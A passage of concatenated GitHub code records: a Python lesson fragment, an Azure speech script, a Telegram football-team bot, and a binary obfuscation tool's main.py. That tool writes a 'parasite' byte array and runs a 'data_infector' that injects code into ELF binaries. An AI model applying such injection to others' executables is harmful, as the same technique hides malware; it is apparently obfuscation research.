musbat_son > 0:\n   print(f\"{musbat_son} sonining ildizi\", musbat_son**(1/2))\nelse:\n   print('Musbat son kiriting')\n# Output: 25 sonining ildizi 5.0","repo_name":"KhasanovFarrukh/My_python_lessons","sub_path":"10-topshiriq.py","file_name":"10-topshiriq.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32570364385","text":"import os\nfrom dotenv import load_dotenv\nimport requests\nimport json\nfrom azure.cognitiveservices.speech import AudioDataStream, SpeechConfig, SpeechSynthesizer, SpeechSynthesisOutputFormat\nfrom azure.cognitiveservices.speech.audio import AudioOutputConfig\nimport asyncio\nimport time\n\nload_dotenv()\nSPEECH_KEY = os.getenv('AZURE_SPEECH')\nspeech_config = SpeechConfig(subscription=SPEECH_KEY, region=\"francecentral\")\n\nspeech_config.speech_synthesis_language = \"fr-FR\" \nspeech_config.speech_synthesis_voice_name =\"fr-FR-HenriNeural\"\n\nf = open('questions.json', \"r\", encoding='utf8')\nquest = json.load(f)\n\nn = 100\nx = 0\nk = 0\n\nfor q in quest[\"questions\"]:\n    x = x+1\n    if x > n :\n        k = k+1\n        if k > 3:\n            time.sleep(60)\n            k = 0\n        audio_config = AudioOutputConfig(filename=\"speech/\"+ str(q[\"id\"])+\".mp3\")\n        synthesizer = SpeechSynthesizer(speech_config=speech_config, audio_config=audio_config)\n        result = synthesizer.speak_text_async(q[\"question\"]).get()\n        stream = AudioDataStream(result)\n        i = 0\n        for a in q[\"answers\"]:\n            i = i+1\n            audio_config = AudioOutputConfig(filename=\"speech/\"+ str(q[\"id\"])+\"-\"+str(i)+\".mp3\")\n            synthesizer = SpeechSynthesizer(speech_config=speech_config, audio_config=audio_config)\n            result = synthesizer.speak_text_async(a[\"text\"]).get()\n            stream = AudioDataStream(result)\n    print(\"Question \"+str(q[\"id\"])+\" done\")","repo_name":"Toohk/red-cheester","sub_path":"speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73777298936","text":"import re\nimport os\nimport sys\nimport getopt\nfrom pwn import *\nfrom getAsm import getAsm\nfrom editTextSection import EditTextSection\nfrom changeAsmToList import ChangeAsmToList\nfrom editDataSection import editDataSection\n\ncontext.arch = 'amd64'\n\nif __name__ == '__main__':\n    input_filename = ''\n    output_filename = ''\n    try:\n        opts, args = getopt.getopt(\n            sys.argv[1:], \"hi:\", [\"input=\"])\n    except getopt.GetoptError:\n        print(\"[*] Usage: python %s -i <input-file>\" %\n              sys.argv[0])\n        sys.exit(-1)\n\n    for opt, arg in opts:\n        if opt == '-h':\n            print(\"[*] Usage: python %s -i <input-file> -o <output-file>\" %\n                  sys.argv[0])\n            sys.exit()\n        elif opt in (\"-i\", \"--input\"):\n            input_filename = arg\n\n        output_filename = input_filename+\"_obfed\"\n\n    if input_filename == \"\" or output_filename == \"\":\n        print(\"[!] Missing parameters!\")\n        exit(-1)\n\n    # function_table = getFunction(input_filename, output_filename)\n    # print(function_table)\n    # exit(0)\n    # asm_table = getAsm(input_filename, output_filename)\n    call_list, func_list = getAsm(input_filename, output_filename)\n    e = ELF(input_filename)\n    data_section = e.get_section_by_name('.data').header\n    bss_addr = data_section.sh_addr + data_section.sh_size\n    bss_section = e.get_section_by_name('.bss').header\n    bss_size = bss_section.sh_size\n    print(\"[+] .bss addr: \"+hex(bss_addr))\n    print(\"[+] .bss size: \"+hex(bss_size))\n\n    exit(0)\n\n    asm_to_add, func_list = editDataSection(\n        bss_addr+bss_size, func_list)\n    asm_list = ChangeAsmToList(asm_to_add, bss_size)\n    # print(asm_list)\n\n    # print(len(asm_list), \"\\nchar parasite[] = {\" + str(asm_list)[1:-1] + \"};\")\n\n    with open(\"data-infector/parasite.h\", 'w') as out_f:\n        out_f.write(\"char parasite[] = {\" + str(asm_list)[1:-1] + \"};\")\n# gcc -o ../temp/data_infector infect.c\n    EditTextSection(e, call_list, func_list, output_filename)\n\n    print(\"[+] gcc -o temp/data_infector data-infector/infect.c\")\n\n    if os.system(\"gcc -o temp/data_infector data-infector/infect.c\") != 0:\n        print(\"[-] Err\")\n        exit(0)\n    print(output_filename)\n    # exit(0)\n\n    print(\"temp/data_infector {} {}\".format(\"temp/\" + output_filename, \"temp/\"+input_filename+\"_latest\"))\n    if os.system(\"temp/data_infector {} {}\".format(\"temp/\"+output_filename, \"temp/\"+input_filename+\"_latest\")) != 0:\n        print(\"[-] Err\")\n        exit(0)\n","repo_name":"nuaa-s3lab/BinSEAL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"26955500483","text":"from consts import *\nfrom engine.botError import *\nfrom engine.valid import *\nimport telebot\nfrom telebot import types\nimport os.path\nfrom telebot.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n@bot.message_handler(commands=['restart'])\ndef send_restart(message):\n    buttons_list=['/start']\n    restart_keyboard=Keyboard(buttons_list)\n    for user in ADMINS_ID_LIST:\n        bot.send_message(chat_id=user,text='Для возобновления работы с ботом нажмите ��а кнопку стандартного меню', reply_markup=restart_keyboard.get_keyboard())\n@bot.message_handler(commands=['start'])\ndef send_start(message,initial = True ):\n    \"\"\" Начало взаимодействия с ботом\n            - данные пользователя сверяются с данными игроков команды\n            - заправшиваются дополнительные данные, сохраняются в бд\n    \"\"\"\n\n\n    if message.chat.id not in PLAYERS_ID_LIST: \n        if message.chat.id not in ADMINS_ID_LIST :\n            if initial == True:\n                bot.reply_to(message, f'Привет, для доступа обратись к админам команды')\n\n        if message.chat.id in ADMINS_ID_LIST:\n            user=User(message)\n            if initial ==True:\n                bot.send_message(chat_id=message.chat.id,text=f'Привет, {user.name}!')\n            MAIN_ADMIN(message)\n\n    else:\n        user = User(message)\n        if initial == True:\n\n            bot.send_message(chat_id=message.chat.id,text=f'Привет, {user.name}!')\n\n        buttons_list = ['Моя статистика','Команда']\n        menu_keyboard = Keyboard(buttons_list)\n\n        bot.send_message(chat_id=message.chat.id,text='Главное меню',reply_markup=menu_keyboard.get_keyboard())\n        bot.register_next_step_handler(message,main_menu)\n\"\"\"\n----------------------------------------------ГЛАВНОЕ МЕНЮ АДМИНИСТРАТОРА----------------------------------\n\"\"\"\ndef MAIN_ADMIN(message):\n    buttons_list = ['Моя статистика','Команда','Управление командой']\n    menu_keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id, text='Главное меню', reply_markup=menu_keyboard.get_keyboard())\n    bot.register_next_step_handler(message,main_admin_menu)\n\ndef main_admin_menu(message):\n\n    command=message.text\n    if command ==\"Моя статистика\":\n        STAT(message)\n    if command ==\"Команда\":\n        TEAM(message)\n    if command==\"Управление командой\":\n        TEAM_MANAGEMENT(message)\n\"\"\"\n--------------------------------------------ГЛАВНОЕ МЕНЮ ПОЛЬЗОВАТЕЛЯ--------------------------------------------------\n\"\"\"\ndef MAIN(message):\n    buttons_list = ['Моя статистика','Команда']\n    menu_keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id, text='Главное меню', reply_markup=menu_keyboard.get_keyboard())\n    bot.register_next_step_handler(message,main_menu)\n\ndef main_menu(message):\n    if message.text ==\"Моя статистика\":\n        STAT(message)\n    if message.text ==\"Команда\":\n        TEAM(message)\n\"\"\"\n-----------------------------------------------СТАТИСТИКА---------------------------------------\n\"\"\"\ndef STAT(message):\n    buttons_list = ['Моя статистика по сезонам', 'Моя статистика за всё время','Назад']\n    my_stat_keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Выберите период', reply_markup=my_stat_keyboard.get_keyboard())\n    bot.register_next_step_handler(message,stat_menu)\n\ndef stat_menu(message):\n    if message.text =='Моя статистика за всё время':\n        my_stat_all_time(message)\n    if message.text=='Моя статистика по сезонам':\n        my_stat_by_season_pt1(message)\n    if message.text=='Назад':\n        if message.chat.id in ADMINS_ID_LIST:\n            MAIN_ADMIN(message)\n        else:\n            MAIN(message)\n\ndef my_stat_by_season_pt1(message):\n    button_list=['Моя статистика за текущий сезон','Моя статистика за сезон 2022', 'Назад']\n    my_stat_by_season_keyboard=Keyboard(button_list)\n    bot.send_message(chat_id=message.chat.id, text=\"Выберите сезон\", reply_markup=my_stat_by_season_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, my_stat_by_season_pt2)\n\ndef my_stat_by_season_pt2(message):\n    if message.text=='Моя статистика за текущий сезон':\n        my_stat_current_season(message)\n    if message.text=='Моя статистика за сезон 2022':\n        my_stat_season_2022(message)\n    if message.text=='Назад':\n        STAT(message)\n\ndef my_stat_current_season(message):\n    tg_id=message.chat.id\n    player_info=[]\n    player_info.append(tg_id)\n\n    button_list=['Назад']\n    current_season_keyboard=Keyboard(button_list)\n    text=db_player_season_2023_stat(db_session,player_info)\n    bot.send_message(chat_id=message.chat.id, text=text, reply_markup=current_season_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, my_stat_by_season_pt1)\n\ndef my_stat_season_2022(message):\n    tg_id=message.chat.id\n    player_info=[]\n    player_info.append(tg_id)\n\n    button_list=['Назад']\n    season_2022_keyboard=Keyboard(button_list)\n    text=db_player_season_2022_stat(db_session,player_info)\n    bot.send_message(chat_id=message.chat.id, text=text, reply_markup=season_2022_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, my_stat_by_season_pt1)\n\ndef my_stat_all_time(message):\n    tg_id=message.chat.id\n    player_info=[]\n    player_info.append(tg_id)\n\n    text = db_player_all_time_stat(db_session,player_info)\n    bot.send_message(chat_id=message.chat.id, text=text)\n    STAT(message)\n\n\"\"\"\n-----------------------------------------------КОМАНДА---------------------------------------\n\"\"\"\ndef TEAM(message):\n    buttons_list = ['Турнирные таблицы', 'Список игроков','Статистика команды', 'Статистика игроков', 'Назад']\n    team_keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Выберите раздел', reply_markup=team_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_menu)\n\ndef team_menu(message = None):\n    if message.text=='Турнирные таблицы':\n        tournament_table(message)\n    if message.text=='Список игроков':\n        players_list(message)\n    if message.text=='Статистика команды':\n        team_stat(message)\n    if message.text=='Статистика игроков':\n        players_stat(message)\n    if message.text=='Назад':\n        if message.chat.id in PLAYERS_ID_LIST:\n            MAIN(message)\n        else:\n            MAIN_ADMIN(message)\n\"\"\"\nТУРНИРНЫЕ ТАБЛИЦЫ\n\"\"\"\ndef tournament_table(message):\n    bot.send_message(chat_id=message.chat.id, text='http://oflm.ru/league/vtoraya23/')\n    TEAM(message)\n\"\"\"\nСПИСОК ИГРОКОВ\n\"\"\"\ndef players_list(message):\n    text=db_players_list(db_session)\n    bot.send_message(chat_id=message.chat.id, text=text)\n    TEAM(message)\n\"\"\"\nСТАТИСТИКА КОМАНДЫ\n\"\"\"\ndef team_stat(message):\n    buttons_list = ['Статистика команды по сезонам', 'Статистика команды за всё время','Назад']\n    team_stat_keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Выберите период', reply_markup=team_stat_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_stat_menu)\n\ndef team_stat_menu(message):\n    if message.text=='Статистика команды по сезонам':\n        team_stat_by_season(message)\n    if message.text=='Статистика команды за всё время':\n        text=db_team_all_time_stat(db_session)\n        bot.send_message(chat_id=message.chat.id, text=text)\n        team_stat(message)\n    if message.text=='Назад':\n        TEAM(message)\n\ndef team_stat_by_season(message):\n    buttons_list = ['Статистика команды за сезон 2022', 'Статистика команды за текущий сезон', 'Назад']\n    team_stat_by_season_keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id, text='Выберите сезон' , reply_markup=team_stat_by_season_keyboard.get_keyboard())\n    bot.register_next_step_handler(message,team_stat_by_season_menu)\n\ndef team_stat_by_season_menu(message):\n    if message.text=='Статистика команды за текущий сезон':\n        team_stat_current_season(message)\n    if message.text=='Статистика команды за сезон 2022':\n        team_stat_season_2022(message)\n    if message.text=='Назад':\n        team_stat(message)\n\ndef team_stat_current_season(message):\n    text=db_team_season_2023_stat(db_session)\n    bot.send_message(chat_id=message.chat.id, text=text)\n    team_stat_by_season(message)\n\ndef team_stat_season_2022(message):\n    text=db_team_season_2022_stat(db_session)\n    bot.send_message(chat_id=message.chat.id, text=text)\n    team_stat_by_season(message)\n\"\"\"\nСТАТИСТИКА ИГРОКОВ\n\"\"\"\n\ndef players_stat(message):\n    list=get_names_and_numbers(db_session)\n    markup = types.InlineKeyboardMarkup()\n    buttons_list=[]\n    for i in range(0,len(list)):\n        name=list[i][1]\n        number=list[i][0]\n        btn=types.InlineKeyboardButton(text=f\"{name}\", callback_data=f\"{number}\")\n        buttons_list.append(btn)\n    markup = types.InlineKeyboardMarkup()\n    markup.add(*buttons_list)\n    buttons_list=['Назад']\n    keyboard=Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Выберите игрока', reply_markup=markup)\n    bot.send_message(chat_id=message.chat.id, text=\"Для выхода из раздела воспользуйтесь кнопкой 'Назад' стандартного меню\",reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, players_stat_menu)\n\ndef players_stat_menu(message):\n    if message.text==\"Назад\":\n        TEAM_MANAGEMENT(message)\n\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_inline(call):\n    if call.data==\"да\":\n        confirm_lineup(call)\n        print(\"Прошло\")\n    if call.data==\"нет\":\n        print(\"Не прошло\")\n        TEAM_MANAGEMENT(call.message)\n        open(\"lineup.txt\", \"w\")\n    list=get_names_and_numbers(db_session)\n    name_list=[]\n    for i in range(0,len(list)):\n        name=list[i][1]\n        number=list[i][0]\n        name_list.append(name)\n        player_info=[]\n        if call.data == f\"{number}\":\n            player_info.append(name)\n            tg_id=get_player_tg(db_session,player_info)\n            player_info[0]=tg_id\n            output= db_player_all_time_stat(db_session, player_info)\n            bot.send_message(chat_id=call.message.chat.id, text=f\"За всё время:\\n\"+output)\n            output= db_player_season_2022_stat(db_session, player_info)\n            bot.send_message(chat_id=call.message.chat.id, text=f\"За сезон 2022:\\n\"+output)\n            output= db_player_season_2023_stat(db_session, player_info)\n            bot.send_message(chat_id=call.message.chat.id, text=f\"За сезон 2023:\\n\"+output)\n    for name in name_list:\n        if call.data==f\"{name}\":         \n            create_lineup(call,name)\n    if call.data==\"Готово\":\n        check_lineup(call)\n\ndef create_lineup(call,name):\n    path = \"lineup.txt\"\n    if os.path.isfile(path) ==True:\n        file = open(\"lineup.txt\", \"r\")\n        lines = [line.rstrip() for line in file]\n        file.close\n        print(\"прочитано\")\n        if not lines:\n            file=open(\"lineup.txt\", \"a+\")\n            file.write(f\"{name}\")\n            file.write(\"\\n\")\n            file.close\n            bot.send_message(chat_id=call.message.chat.id, text=f\"Игрок {name} добавлен в состав\")\n            print(\"добавлен\")\n        else:\n            if name in lines:\n                bot.send_message(chat_id=call.message.chat.id, text=f\"Игрок {name} уже есть в составе\")\n                file.close\n                print(\"уже есть\")\n            else:\n                file=open(\"lineup.txt\", \"a+\")\n                file.write(f\"{name}\")\n                file.write(\"\\n\")\n                file.close\n                bot.send_message(chat_id=call.message.chat.id, text=f\"Игрок {name} добавлен в состав\")\n    else:\n        log(LOG_COMMAND.format(reg = 'handler',\n                               file = 'handler',\n                               lvl= 'ERROR',\n                               msg = f\"Cannot write to file {path}\"))\n        bot.send_message(chat_id=call.message.chat.id, text=\"В данный момент работа модуля невозможна\")\n\ndef check_lineup(call):\n    path = \"lineup.txt\"\n    if os.path.isfile(path) ==False:\n        bot.send_message(chat_id=call.message.chat.id, text=\"Состав не укомплектован\")\n        #дописать ветку\n    if os.path.isfile(path) ==True:\n        file = open(\"lineup.txt\", \"r\")\n        lines = [line.rstrip() for line in file]\n        file.close\n        output=\"\"\n        if len(lines)>=6:\n            for i in range(0,len(lines)):\n                output+=f\"{lines[i]}\\n\"\n            markup = types.InlineKeyboardMarkup()\n            btn=types.InlineKeyboardButton(text=\"Подтвердить\", callback_data=\"да\")\n            markup.add(btn)\n            btn=types.InlineKeyboardButton(text=\"Отменить\", callback_data=\"нет\")\n            markup.add(btn)\n            bot.send_message(chat_id=call.message.chat.id, text=f\"Подтвердите состав:\\n{output}\", reply_markup=markup)\n        else:\n            log(LOG_COMMAND.format(reg='handler',\n                                   file='handler',\n                                   lvl='ERROR',\n                                   msg=f\"Cannot write to file {path}\"))\n            bot.send_message(chat_id=call.message.chat.id, text=\"Состав не укомплектован\")\n\ndef confirm_lineup(call):\n    \"\"\"file = open(\"lineup.txt\", \"r\")\n    lines = [line.rstrip() for line in file]\n    file.close\n    player_info=[]\n    for i in range(0, len(lines)):\n        player_info.append(f\"{lines[i]}\")\n    db_insert_games(db_session, player_info)\"\"\"\n    bot.send_message(chat_id=call.message.chat.id, text=\"Состав сформирован\")\n    game_result(call.message)\n\"\"\"\n------------------------------------------УПРАВЛЕНИЕ КОМАНДОЙ---------------------------------\n\"\"\"\ndef TEAM_MANAGEMENT(message):\n    buttons_list = ['День игры','Состав на матч', 'Результат матча','Подготовить рассылку','Изменить состав команды','Редактировать профиль игрока','Назад']\n    team_management_keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Меню управления командой',reply_markup=team_management_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_management_menu)\n\ndef team_management_menu(message):\n    if message.text=='Состав на матч':\n        team_list(message)\n    if message.text=='Результат матча':\n        game_result(message)\n    if message.text=='Подготовить рассылку':\n        mailing(message)\n    if message.text=='Изменить состав команды':\n        change_squad_list(message)\n    if message.text=='Редактировать профиль игрока':\n        edit_profile(message)\n    if message.text=='Назад':\n        MAIN_ADMIN(message)\n\"\"\"\nСостав на матч\n\"\"\"\ndef team_list(message):\n    bot.send_photo(chat_id=message.chat.id,photo=InputFile(FIELD_PHOTO))\n    list=get_names_and_numbers(db_session)\n    markup = types.InlineKeyboardMarkup()\n    buttons_list=[]\n    for i in range(0,len(list)):\n        name=list[i][1]\n        btn=types.InlineKeyboardButton(text=f\"{name}\", callback_data=f\"{name}\")\n        buttons_list.append(btn)\n    btn=types.InlineKeyboardButton(text=\"Готово\", callback_data=\"Готово\")\n    buttons_list.append(btn)\n    markup = types.InlineKeyboardMarkup()\n    markup.add(*buttons_list)\n    buttons_list=['Назад']\n    keyboard=Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Соберите состав', reply_markup=markup)\n    bot.send_message(chat_id=message.chat.id, text=\"Для выхода из раздела воспользуйтесь кнопкой 'Назад' стандартного меню\",reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_list_menu)\n\ndef team_list_menu(message):\n    if message.text==\"Назад\":\n        TEAM_MANAGEMENT(message)\n\n\"\"\"\nРЕДАКТИРОВАТЬ ПРОФИЛЬ ИГРОКА\n\"\"\"\ndef edit_profile(message):\n    buttons_list = ['Назад']\n    keyboard = Keyboard(buttons_list)\n\n    bot.send_message(chat_id=message.chat.id, text='Введите номер игрока', reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message,type_number)\n\ndef type_number(message):\n    if message.text==\"Назад\":\n        TEAM_MANAGEMENT(message)\n    else:\n        number=message.text\n        player_info=[]\n        player_info.append(number)\n        if IntValidator.validateValue(number) == True:\n            if check_number(db_session,player_info)!=False:\n                if check_vk_id(db_session,player_info)==False:\n                    name=get_name_by_number(db_session, player_info)\n                    bot.send_message(chat_id=message.chat.id, text=f'Введите ссылку на профиль игрока {name} в соц.сети Вконтакте')\n                    bot.register_next_step_handler(message, type_vk_id,player_info)\n                else:\n                    buttons_list = ['Да', 'Нет']\n                    keyboard = Keyboard(buttons_list)\n                    bot.send_message(chat_id=message.chat.id, text=f'Ссылка на профиль уже сохранена. Хотите изменить?',reply_markup=keyboard.get_keyboard())\n                    bot.register_next_step_handler(message, change_link, player_info)\n            else:\n                bot.send_message(chat_id=message.chat.id, text='Игрока с таким номером не существует')\n        else:\n            output=BotValueError.process()\n            return(output)\n\ndef change_link(message, player_info):\n    if message.text=='Да':\n        bot.send_message(chat_id=message.chat.id, text='Вставьте новую ссылку на профиль')\n        bot.register_next_step_handler(message, type_vk_id, player_info)\n    if message.text=='Нет':\n        TEAM_MANAGEMENT(message)\n\ndef confirm_edit(message,player_info):\n    if message.text =='Подтвердить':\n        db_insert_vk_id(db_session,player_info)\n        bot.send_message(chat_id=message.chat.id, text=\"Профиль отредактирован\")\n        TEAM_MANAGEMENT(message)\n    if message.text =='Отменить':\n        TEAM_MANAGEMENT(message)\n\ndef type_vk_id(message, player_info):\n    vk_id=message.text\n    player_info.append(vk_id)\n\n    buttons_list = ['Подтвердить', 'Отменить']\n    keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Подтвердить изменение',reply_markup=keyboard.get_keyboard())\n    bot.register_next_step_handler(message, confirm_edit, player_info)\n\"\"\"\nИЗМЕНИТЬ СОСТАВ КОМАНДЫ\n\"\"\"\ndef change_squad_list(message):\n    buttons_list = ['Добавить игрока', 'Удалить игрока', 'Назад']\n    change_squad_list_keyboard = Keyboard(buttons_list)\n    bot.send_message(chat_id=message.chat.id, text='Выберите нужное',reply_markup=change_squad_list_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, change_squad_list_menu)\n\ndef change_squad_list_menu(message):\n    if message.text=='Добавить игрока':\n        add_player(message)\n    if message.text=='Удалить игрока':\n        delete_player_pt1(message)\n    if message.text=='Назад':\n        TEAM_MANAGEMENT(message)\n\"\"\"\nДОБАВИТЬ ИГРОКА\n\"\"\"\ndef add_player(message):\n    button_list=['Назад']\n    add_player_keyboard=Keyboard(button_list)\n    player_info=[]\n    bot.send_message(chat_id=message.chat.id,text='Введите информацию об игроке:\\nФамилия Имя\\nИгровой номер\\ntelegram_id\\nvk_id',reply_markup=add_player_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, type_info,player_info)\n\ndef type_info(message,player_info):\n    if message.text=='Назад':\n        change_squad_list(message)\n    else:\n        info=message.text\n        x=info.split(\"\\n\")\n        y=0\n        for i in x:\n            if i:\n                y+= 1\n        if y<3:\n            bot.send_message(chat_id=message.chat.id,text=\"Не хватает данных\")\n        if y==3:\n            name=info.split(\"\\n\")[0]\n            number=info.split(\"\\n\")[1]\n            tg_id=info.split(\"\\n\")[2]\n            vk_id=\"отсутствует\"\n            if IntValidator.validateValue(number)==True:\n                player_info.append(number)\n                if check_number(db_session, player_info)==False:\n                    if TextValidator.validateValue(name)==True:\n                        if TextValidator.validatePlayerName(name)==True:\n                            player_info.append(name)\n                            if check_name(db_session, player_info)==False:\n                                if IntValidator.validateValue(tg_id)==True:\n                                    player_info.append(tg_id)\n                                    if check_tg_id(db_session,player_info)==False:\n                                        player_info.append(vk_id)\n                                        db_insert_player(db_session,player_info)\n                                        bot.send_message(chat_id=message.chat.id,text=\"Данные об игроке внесены\\nНе забудьте добавить ссылку на страницу игрока в сети Вконтакте\")\n                                    else:\n                                        bot.send_message(chat_id=message.chat.id,text='Игрок с таким telegram_id уже есть в таблице')\n                                else:\n                                    output=BotValueError.process()\n                                    bot.send_message(chat_id=message.chat.id, text=output)\n                            else:\n                                bot.send_message(chat_id=message.chat.id,text='Игрок с таким именем уже есть в таблице')\n                        else:\n                            output=BotValueError.process()\n                            bot.send_message(chat_id=message.chat.id, text=output)\n                    else:\n                        output=BotValueError.process()\n                        bot.send_message(chat_id=message.chat.id, text=output)\n                else:\n                    bot.send_message(chat_id=message.chat.id,text='Данный номер занят')\n            else:\n                output=BotValueError.process()\n                bot.send_message(chat_id=message.chat.id, text=output)\n        if y==4:\n            name=info.split(\"\\n\")[0]\n            number=info.split(\"\\n\")[1]\n            tg_id=info.split(\"\\n\")[2]\n            vk_id=info.split(\"\\n\")[3]\n            if IntValidator.validateValue(number)==True:\n                player_info.append(number)\n                if check_number(db_session, player_info)==False:\n                    if TextValidator.validateValue(name)==True:\n                        if TextValidator.validatePlayerName(name)==True:\n                            player_info.append(name)\n                            if check_name(db_session, player_info)==False:\n                                if IntValidator.validateValue(tg_id)==True:\n                                    player_info.append(tg_id)\n                                    if check_tg_id(db_session,player_info)==False:\n                                        player_info.append(vk_id)\n                                        db_insert_player(db_session,player_info)\n                                        bot.send_message(chat_id=message.chat.id,text=\"Данные об игроке внесены\")\n                                    else:\n                                        bot.send_message(chat_id=message.chat.id,text='Игрок с таким telegram_id уже есть в таблице')\n                                else:\n                                    output=BotValueError.process()\n                                    bot.send_message(chat_id=message.chat.id, text=output)\n                            else:\n                                bot.send_message(chat_id=message.chat.id,text='Игрок с таким именем уже есть в таблице')\n                        else:\n                            output=BotValueError.process()\n                            bot.send_message(chat_id=message.chat.id, text=output)\n                    else:\n                        output=BotValueError.process()\n                        bot.send_message(chat_id=message.chat.id, text=output)\n                else:\n                    bot.send_message(chat_id=message.chat.id,text='Данный номер занят')\n            else:\n                output=BotValueError.process()\n                bot.send_message(chat_id=message.chat.id, text=output)\n        if y>4:\n            bot.send_message(chat_id=message.chat.id,text=\"Ошибки всегда поджидают, чтобы их допускали.\")\n\"\"\"\nУДАЛИТЬ ИГРОКА\n\"\"\"\ndef delete_player_pt1(message):\n    button_list=['Назад']\n    delete_player_keyboard=Keyboard(button_list)\n    bot.send_message(chat_id=message.chat.id, text='Введите номер игрока', reply_markup=delete_player_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, delete_player_pt2)\n\ndef delete_player_pt2(message):\n    if message.text=='Назад':\n        change_squad_list(message)\n    else:\n        number=message.text\n        if IntValidator.validateValue(number) == True:\n            number=int(number)\n            player_info=[]\n            player_info.append(number)\n            if check_number(db_session,player_info)==False:\n                bot.send_message(chat_id=message.chat.id, text='Игрока с таким номером не существует')\n                delete_player_pt1(message)\n\n            else:\n                name=get_name_by_number(db_session,player_info)\n                markup = ReplyKeyboardMarkup\n                button_list = ['Подтвердить', 'Отменить']\n                markup=Keyboard(button_list)\n                bot.send_message(chat_id=message.chat.id, text=f'Подтвердите удаление игрока\\t{name}',reply_markup=markup.get_keyboard())\n                bot.register_next_step_handler(message, delete_player_confirm, player_info)\n        else:\n            output=BotValueError.process()\n            bot.send_message(chat_id=message.chat.id, text=output)\n\ndef delete_player_confirm(message,player_info):\n    if message.text == \"Подтвердить\":\n        db_delete_player(db_session,player_info)\n        bot.send_message(message.chat.id, text=f\"Игрок удалён\")\n        delete_player_pt1(message)\n    if message.text == \"Отменить\":\n        bot.send_message(message.chat.id, text=\"Удаление отменено\")\n        delete_player_pt1(message)\n\n\"\"\"\nРЕЗУЛЬТАТ МАТЧА\n\"\"\"\ndef game_result(message):\n    button_list=['Назад']\n    game_result_keyboard=Keyboard(button_list)\n    game_info=[]\n    bot.send_message(chat_id=message.chat.id, text='Счёт игры (забито : пропущено):', reply_markup=game_result_keyboard.get_keyboard())\n    bot.register_next_step_handler(message, team_stat_pt1 ,game_info)\n\ndef team_stat_pt1(message,game_info):\n    if message.text=='Назад':\n        game_result(message)\n    else:\n        string=message.text\n        if string.count(\":\")!=1:\n            output=BotValueError.process()\n            bot.send_message(chat_id=message.chat.id, text=output)\n            game_result(message)\n        else:\n            if IntValidator.validateValue(string.split(\":\")[0]) == True:\n                scored=string.split(\":\")[0]\n                if IntValidator.validateValue(string.split(\":\")[1]) == True:\n                    conceded=string.split(\":\")[1]\n                    wins=0\n                    loses=0\n                    draws=0\n                    if scored!=conceded:\n                        if scored>conceded:\n                            wins=1\n                            loses=0\n                            draws=0\n                            result=\"победа\"\n\n                        if scored<conceded:\n                            wins=0\n                            loses=1\n                            draws=0\n                            result=\"поражение\"\n                    else:\n                        wins=0\n                        loses=0\n                        draws=1\n                        result=\"ничья\"\n                    game_info.append(result)\n                    game_info.append(wins)\n                    game_info.append(loses)\n                    game_info.append(draws)\n                    game_info.append(scored)\n                    game_info.append(conceded)\n\n                    bot.send_message(chat_id=message.chat.id, text='Карточки(жёлтые:красные):')\n                    bot.register_next_step_handler(message, team_stat_pt2 ,game_info)\n                else:\n                    output=BotValueError.process()\n                    bot.send_message(chat_id=message.chat.id, text=output)\n            else:\n                output=BotValueError.process()\n                bot.send_message(chat_id=message.chat.id, text=output)\n\ndef team_stat_pt2(message,game_info):\n    string=message.text\n    if not string.find(\":\"):\n        output=BotValueError.process()\n        bot.send_message(chat_id=message.chat.id, text=output)\n    else:\n\n        yellow=string.split(\":\")[0]\n        red=string.split(\":\")[1]\n        if IntValidator.validateValue(yellow) == True:\n            if IntValidator.validateValue(red) == True:\n                game_info.append(yellow)\n                game_info.append(red)\n\n                bot.send_message(chat_id=message.chat.id, text='Введите персональные результаты:\\n(Игрок:гол:передача:жёлтые:красные)')\n                bot.register_next_step_handler(message, team_stat_pt3 ,game_info)\n        else:\n            output=BotValueError.process()\n            bot.send_message(chat_id=message.chat.id, text=output)\n\ndef team_stat_pt3(message,game_info):\n    info=message.text\n    x=info.split(\"\\n\")\n    y=0\n    for i in x:\n        if i:\n            y+= 1\n    personal_info=[]\n    for i in range(y):\n        name=x[i].split(\":\")[0]\n        goals=x[i].split(\":\")[1]\n        assists=x[i].split(\":\")[2]\n        yc=x[i].split(\":\")[3]\n        rc=x[i].split(\":\")[4]\n        if TextValidator.validateValue(name)==True:\n            if TextValidator.validatePlayerName(name)==True:\n                if IntValidator.validateValue(goals)==True:\n                    if IntValidator.validateValue(assists)==True:\n                        if IntValidator.validateValue(yc)==True:\n                            if IntValidator.validateValue(rc)==True:\n                                personal_info.append(x[i])\n                            else:\n                                output=BotValueError.process()\n                                bot.send_message(chat_id=message.chat.id, text=output)\n                        else:\n                            